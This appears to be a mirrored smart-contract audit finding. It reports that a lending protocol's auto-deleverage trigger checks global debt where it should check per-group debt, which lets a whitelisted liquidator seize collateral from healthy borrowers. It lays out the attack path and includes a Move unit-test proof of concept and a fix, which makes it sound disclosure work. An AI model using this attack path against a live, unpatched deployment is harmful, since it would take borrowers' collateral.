ADL borrow deleverage triggers on global debt instead of per-group debt, force-liquidating healthy positions
The auto-deleverage borrow trigger compared a coin's total debt across all emode groups instead of the debt of the specific group being liquidated. A whitelisted ADL liquidator could therefore force-liquidate healthy positions in a group whose own borrow was below the configured target, seizing collateral at a discount.
Source: https://github.com/sherlock-audit/2026-03-current-finance-judging/issues/18
Found by
0x04, 0x37, 0xAether, 0xDyDx, 0xGreed, 0xJulio, 0xTheBlackPanther, 0x_Taigong, 0xastronatey, 0xc0ffEE, 0xepley, 0xkmr_, 0xzen, 1337, 8olidity, Baazigar, BilalXulfiqar, CaptSinBad, Ch_301, ChainNerd27, Freescore, JUANMA, JohnWeb3, K42, Merlinsan, OhmOudits, OrangeSantra, Orionn, Polaris_2, RV, Rareone, SUPERMAN_I4G, Saurabh_Singh, Silvermist, TradingViews, Wojack, ZeroTrust, Ziusz, ah_mo54, ahmadkhan44, akhilmanga, calc1f4r, chucks1093, cosminm53, destiny_rs, digg3r, giraffe, grandchildrice, invariantex, jayjoshix, jolyon, kaiserlimp0, kimnoic, kimonic, krikolkk, legat, maigadoh, marchev, maschinski, nol, pv, test666, unineko, vneseseller, xiaoming90, y4y, youcef330, zenohkai
Summary
The wrong debt metric in handle_debt_auto_deleverage will cause loss of collateral for borrowers in unrelated emode groups as ADL liquidators will force-liquidate their positions based on the global reserve debt instead of the per-group borrow amount.
Root Cause
In market.move:580, the ADL borrow trigger reads reserve.debt() which is the total debt for a coin type across all emode groups. It should read emode_group.borrow_amount(debt_type) which is the debt for that specific group. The stop condition at market.move:686 already uses the correct per-group value, confirming this is a mistake.
// market.move:580 - BUG: checks global debt across all groups
let total_debt = (*self.reserves.load_by_type(debt_type).debt()).floor();
let debt_params = timelock.inner();
debt_params.ensure_limit_breached(total_debt);
// market.move:686 - CORRECT: checks per-group borrow
let total_borrow = emode_group.borrow_amount(debt_type).floor();
let adl = dynamic_field::borrow_mut<ADLRegistryKey, AutoDeleverageRegistry>(market_id, ADLRegistryKey {});
adl.try_stop_borrow_deleverage<DebtType>(type_name::with_defining_ids<MarketType>(), emode_group_id, total_borrow);
Internal Pre-conditions
- Admin configures via
enable_debt_adlADL on any emode group with atarget_amountfor a given coin type. - At least two emode groups need to have borrows in that same coin type.
External Pre-conditions
None
Attack Path
- Admin enables debt ADL for group 0 with a USDC target of 500K. Group 0 has 100K USDC borrowed. Group 1 has 900K USDC borrowed. Global reserve debt is 1M USDC.
- An ADL liquidator calls
liquidate_adl_borrowtargeting a group 0 position. - The code checks
reserve.debt()= 1M > 500K target and allows the liquidation to proceed. - The position gets force-liquidated. The borrower's collateral is seized at a discount even though group 0's actual borrow (100K) is well below the 500K threshold.
- The stop check at L686 correctly reads group 0's borrow and disables ADL. But the next
liquidate_adl_borrowcall re-triggers it because the start check still sees global debt > 500K. - This repeats - group 0 positions keep getting picked off one by one until global debt (driven mostly by group 1) drops below 500K.
Impact
Borrowers in the targeted emode group lose collateral through force-liquidation when their group was never at risk.
The ADL mechanism includes a time-degrading LTV threshold that starts at some configured value and drops toward zero over hours. Once it reaches zero, every single position in the group becomes liquidatable regardless of health. The liquidator extracts the ADL liquidation incentive on each liquidation. The loss scales with the total collateral held by group members.
PoC
Place in protocol/tests/integration/test_cases/poc_adl_global_debt.move and run with:
sui move test -i 50000000000 poc_adl_triggers_on_wrong_emode_group
The test sets up two emode groups:
- Group 0 borrows 100 USDC (below the 500 ADL target)
- Group 1 borrows 900 USDC. Global debt is 1000 USDC
The ADL liquidation of a group 0 position succeeds, proving the bug. It should have reverted because group 0's borrow is below the threshold.
/// H-01 PoC: ADL borrow trigger uses global reserve.debt instead of per-emode borrow.
///
/// Group 0 borrows: 100 USDC (below 500 target -> ADL should NOT trigger)
/// Group 1 borrows: 900 USDC
/// Global debt: 1000 USDC (above 500 target -> ADL DOES trigger)
///
/// This test PASSES, proving the bug: a healthy group-0 position gets
/// force-liquidated because handle_debt_auto_deleverage (market.move:L580)
/// checks reserve.debt() instead of emode_group.borrow_amount().
#[test_only]
module protocol::poc_adl_global_debt {
use sui::test_scenario;
use sui::clock;
use protocol::market_t::MainMarket;
use protocol::oracle_t;
use test_coin::eth::ETH;
use test_coin::usdc::USDC;
use protocol::market_t::default_eth_decimal_places;
use protocol::market_t::default_stable_decimal_places;
const ADMIN: address = @0xAD;
const LIM: u64 = 9223372036854775808; // 2^63
#[test]
public fun poc_adl_triggers_on_wrong_emode_group() {
let borrower_0 = @0xB0;
let borrower_1 = @0xB1;
let liquidator = @0xCC;
let mut scenario = test_scenario::begin(ADMIN);
let mut clock = clock::create_for_testing(scenario.ctx());
// 1. Default market (group 0 with ETH, USDC, ...)
let (admin_cap, mut app, mut market, coin_registry) =
protocol::app_t::default_app_init<MainMarket>(&mut scenario, &mut clock, ADMIN);
let mut x_oracle = oracle_t::init_t(&mut scenario);
// 2. Create group 1, onboard ETH + USDC to it
protocol::emode_admin::onboard_new_emode_group<MainMarket>(
&admin_cap, &app, &mut market, 0, &clock, scenario.ctx(),
);
let dl1 = protocol::emode_admin::create_limiter(&admin_cap, &app, LIM, 10000000, 10000000);
let bl1 = protocol::emode_admin::create_limiter(&admin_cap, &app, LIM, 10000000, 10000000);
let p1 = protocol::emode_admin::create_emode_params_test(
&admin_cap, 7000, 7000, 500, 1_000_000_000_000, 10000, 1, dl1, bl1,
);
protocol::emode_admin::onboard_asset_to_emode_group<MainMarket, ETH>(
&admin_cap, &app, &mut market, 1, p1, scenario.ctx(),
);
let dl2 = protocol::emode_admin::create_limiter(&admin_cap, &app, LIM, 10000000, 10000000);
let bl2 = protocol::emode_admin::create_limiter(&admin_cap, &app, LIM, 10000000, 10000000);
let p2 = protocol::emode_admin::create_emode_params_test(
&admin_cap, 7000, 7000, 500, 1_000_000_000_000, 10000, 1, dl2, bl2,
);
protocol::emode_admin::onboard_asset_to_emode_group<MainMarket, USDC>(
&admin_cap, &app, &mut market, 1, p2, scenario.ctx(),
);
// 3. Set prices
clock.set_for_testing(200 * 1000);
x_oracle.update_price<ETH>(&clock, oracle_t::calc_scaled_price(1000, 0));
x_oracle.update_price<USDC>(&clock, oracle_t::calc_scaled_price(1, 0));
// 4. Borrower 0 (group 0): deposit 1 ETH ($1000), borrow 100 USDC
scenario.next_tx(borrower_0);
let ob0 = protocol::open_obligation_t::open_obligation_t<MainMarket>(
&mut scenario, &app, &mut market,
);
let eth0 = sui::coin::mint_for_testing<ETH>(
1 * 10u64.pow(default_eth_decimal_places()), scenario.ctx(),
);
protocol::deposit::deposit<MainMarket, ETH>(
&app, &mut market, &ob0, eth0, &clock, scenario.ctx(),
);
let b0 = protocol::borrow::borrow<MainMarket, USDC>(
&app, &ob0, &mut market, &coin_registry,
100 * 10u64.pow(default_stable_decimal_places()),
&x_oracle, &clock, scenario.ctx(),
);
std::unit_test::destroy(b0);
// 5. Borrower 1 (group 1): deposit 10 ETH ($10k), borrow 900 USDC
scenario.next_tx(borrower_1);
let ob1 = protocol::enter_market::create_obligation_with_group<MainMarket>(
&app, &mut market, 1, scenario.ctx(),
);
let eth1 = sui::coin::mint_for_testing<ETH>(
10 * 10u64.pow(default_eth_decimal_places()), scenario.ctx(),
);
protocol::deposit::deposit<MainMarket, ETH>(
&app, &mut market, &ob1, eth1, &clock, scenario.ctx(),
);
let b1 = protocol::borrow::borrow<MainMarket, USDC>(
&app, &ob1, &mut market, &coin_registry,
900 * 10u64.pow(default_stable_decimal_places()),
&x_oracle, &clock, scenario.ctx(),
);
std::unit_test::destroy(b1);
// State: group-0 borrow = 100 USDC, group-1 borrow = 900, global = 1000
// 6. Admin: enable debt ADL for group 0, target = 500 USDC
// Group 0 borrows (100) < 500 -> should NOT trigger
scenario.next_tx(ADMIN);
let adl_params = protocol::adl_admin::new_adl_params<MainMarket>(
&admin_cap, &app, &market,
500 * 10u64.pow(default_stable_decimal_places()),
1, // liquidation_factor_base: 0.01% -> any LTV qualifies
0, // hourly drop
100, // incentive base: 1%
0, // incentive daily penalty
10000, // close factor: 100%
);
protocol::adl_admin::enable_debt_adl<MainMarket, USDC>(
&admin_cap, &app, &mut market,
0, adl_params, 0, &clock, scenario.ctx(),
);
// 7. Liquidator: ADL-liquidate borrower_0
// BUG: succeeds because reserve.debt()=1000 > 500
// FIX: should abort because emode_group.borrow_amount()=100 < 500
scenario.next_tx(liquidator);
let permit = protocol::whitelist_admin::mint_new_whitelist(
&admin_cap, &mut app, scenario.ctx(),
);
protocol::whitelist_admin::update_permission(
&admin_cap, &mut app, object::id(&permit),
protocol::whitelist_admin::adl(), true,
);
let repay = sui::coin::mint_for_testing<USDC>(
50 * 10u64.pow(default_stable_decimal_places()), scenario.ctx(),
);
protocol::liquidate::liquidate_adl_borrow<MainMarket, USDC, ETH>(
&app, &permit, ob0.id(), &mut market,
repay, &coin_registry, &x_oracle, &clock, scenario.ctx(),
);
// ^^^ This succeeds, proving the bug.
// Cleanup
clock::destroy_for_testing(clock);
test_scenario::return_shared(x_oracle);
test_scenario::return_shared(market);
std::unit_test::destroy(admin_cap);
std::unit_test::destroy(ob0);
std::unit_test::destroy(ob1);
std::unit_test::destroy(app);
std::unit_test::destroy(permit);
std::unit_test::destroy(coin_registry);
test_scenario::end(scenario);
}
}
Mitigation
Replace reserve.debt() with emode_group.borrow_amount(debt_type) at market.move:580:
let total_debt = emode_group.borrow_amount(debt_type).floor();
This makes the start check consistent with the stop check at L686 which already uses the per-group value.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The start check in handle_debt_auto_deleverage used the reserve-wide total debt rather than the per-emode-group borrow amount, unlike the stop check which already used the per-group value.
Impact
Borrowers in the targeted group could lose collateral through force-liquidation even though their group was never at risk, and the loss scales with the collateral held by group members.
What the attacker needed
Admin enables debt ADL on a group; two groups borrow the same coin; whitelisted ADL liquidator
The fix
The start check should use the per-group borrow amount instead of the reserve-wide debt, matching the stop check.
How it was found
- Set up two emode groups where group 0 borrows 100 USDC and group 1 borrows 900 USDC, giving a global debt of 1000 USDC.
- Enable debt ADL for group 0 with a target of 500 USDC, which is above group 0's own borrow.
- Have a whitelisted liquidator call the ADL borrow liquidation against a group 0 position.
- Observe that the liquidation succeeds because the global debt exceeds the target, even though group 0's borrow does not.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A lending protocol lets people borrow coins against collateral, and it groups some assets into 'emode groups' with their own risk settings. An automatic deleverage feature is meant to liquidate borrowers only when their own group's borrowing gets too high, but the code checked the total borrowing of that coin everywhere, so a busy group could make quiet groups look risky and get their borrowers liquidated unfairly.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.